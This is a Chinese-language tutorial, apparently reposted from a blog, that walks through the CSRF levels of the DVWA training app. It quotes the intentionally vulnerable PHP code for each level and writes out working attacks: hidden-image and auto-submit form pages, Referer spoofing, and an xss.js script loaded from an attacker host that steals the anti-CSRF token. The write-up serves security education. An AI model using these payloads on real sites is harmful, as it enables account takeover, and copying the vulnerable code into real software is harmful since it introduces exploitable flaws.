CSRF 介紹javascript
CSRF,全稱Cross-site request forgery,即跨站請求僞造,是指利用受害者還沒有失效的身份認證信息(cookie、會話等),誘騙其點擊惡意連接或者訪問包含攻擊代碼的頁面,在受害人不知情的狀況下以受害者的身份向(身份認證信息所對應的)服務器發送請求,從而完成非法操做。php
能夠這樣理解CSRF:攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以你的名義發送郵件、發消息,盜取你的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等。css
Low Security Levelhtml
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
服務器經過GET方式接收修改密碼的請求,會檢查參數password_new與password_conf是否相同,若是相同,就會修改密碼,沒有任何的防CSRF機制(固然服務器對請求的發送者是作了身份驗證的,是檢查的cookie,只是這裏的代碼沒有體現)。java
Exploitmysql
1.構造以下連接:ajax
http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#
當受害者點擊了這個連接,密碼就會被改爲testsql
2.使用短連接來隱藏 URL:跨域
爲了更加隱蔽,能夠生成短網址連接,點擊短連接,會自動跳轉到真實網站:瀏覽器
http://tinyurl.com/yd2gogtv
3.構造攻擊頁面:
方式 1 經過img標籤中的src屬性來加載CSRF攻擊利用的URL,並進行佈局隱藏,實現了受害者點擊連接則會將密碼修改。
構造的頁面test.html以下:
<img src="http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
將test.html文件放在攻擊者本身準備的網站上:
當受害者正在使用本身的網站(瀏覽器中還保存着session值)時,訪問攻擊者誘惑點擊的此連接:
http://www.hack.com/test.html
誤認爲是本身點擊的是一個失效的url:
但實際上已經遭受了CSRF攻擊,密碼已經被修改成test
方式 2 查看頁面html源代碼,將關於密碼操做的表單部分,經過javascript的onload事件加載和css代碼來隱藏佈局,按GET傳遞參數的方式,進一步構造html form表單,實現了受害者點擊連接則會將密碼修改。
構造的頁面dvwa.html以下:
<body onload="javascript:csrf()"> <script> function csrf(){ document.getElementById("button").click(); } </script> <style> form{ display:none; } </style> <form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET"> New password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br /> Confirm new password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br /> <br /> <input type="submit" id="button" name="Change" value="Change" /> </form> </body>
當受害者正在使用本身的網站(瀏覽器中還保存着session值)時,訪問攻擊者誘惑點擊的此連接:
http://www.hack.com/dvwa.html
一樣會使其密碼更改成test
Medium Security Level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
相關函數介紹:
stripos()函數:
stripos(string,find,start)
stripos()函數查找字符串在另外一字符串中第一次出現的位置,不區分大小寫。
PHP超全局變量$_SERVER中的兩個值:
$_SERVER['HTTP_REFERER']:PHP中獲取連接到當前頁面的前一頁面的url連接地址,即HTTP數據包中的Referer參數的值。
$_SERVER['SERVER_NAME']:PHP中獲取服務器主機的名稱,即HTTP數據包中的Host參數的值。
用戶正常登陸使用修改密碼操做時,能夠看到:
Medium Security Level的代碼使用stripos()函數檢查HTTP頭,過濾規則是$_SERVER['HTTP_REFERER']的值中必須包含$_SERVER['SERVER_NAME'],以此來抵禦CSRF攻擊。
Exploit
將Low Security Level第三種方法中的攻擊頁面test.html複製一份,命名爲www.dvwa.com.html,
咱們仍是按照以前的操做,先誘惑受害者點擊http://www.hack.com/test.html,抓包,併發送到Repeater中:
執行失敗,出現:That request didn't look correct.
此時讓受害者訪問www.dvwa.com.html文件,即在Repeater中修改HTTP數據包中的Referer參數爲:
http://www.hack.com/www.dvwa.com.html
成功修改了密碼:
High Security Level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
能夠看到,High Security Level的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,須要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,纔會處理客戶端的請求。
Exploit
要繞過High Security Level的反CSRF機制,關鍵是要獲取token,要利用受害者的cookie去修改密碼的頁面獲取關鍵的token。
試着去構造一個攻擊頁面,將其放置在攻擊者的服務器,引誘受害者訪問,從而完成CSRF攻擊,下面是代碼。
xss.js:
alert(document.cookie); var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/'; if(window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; xmlhttp.withCredentials = true; xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState ==4 && xmlhttp.status==200) { var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); alert(match[1]); var token = match[1]; var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change'; if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET",theUrl,false); xmlhttp.send();
xss.js放置於攻擊者的網站上:http://www.hack.com/xss.js
DOM XSS 與 CSRF 結合:
CSRF結合同Security Level的DOM XSS,經過ajax實現跨域請求來獲取用戶的user_token,用如下連接來讓受害者訪問:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>
誘導點擊後,成功將密碼修改成test
Impossible Security Level
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
Impossible Security Level的代碼利用PDO技術防護SQL注入,至於防禦CSRF,則要求用戶輸入原始密碼,攻擊者在不知道原始密碼的狀況下,不管如何都沒法進行CSRF攻擊。
轉載自:AnCoLin's Blog|影風博客DVWA CSRF 通關教程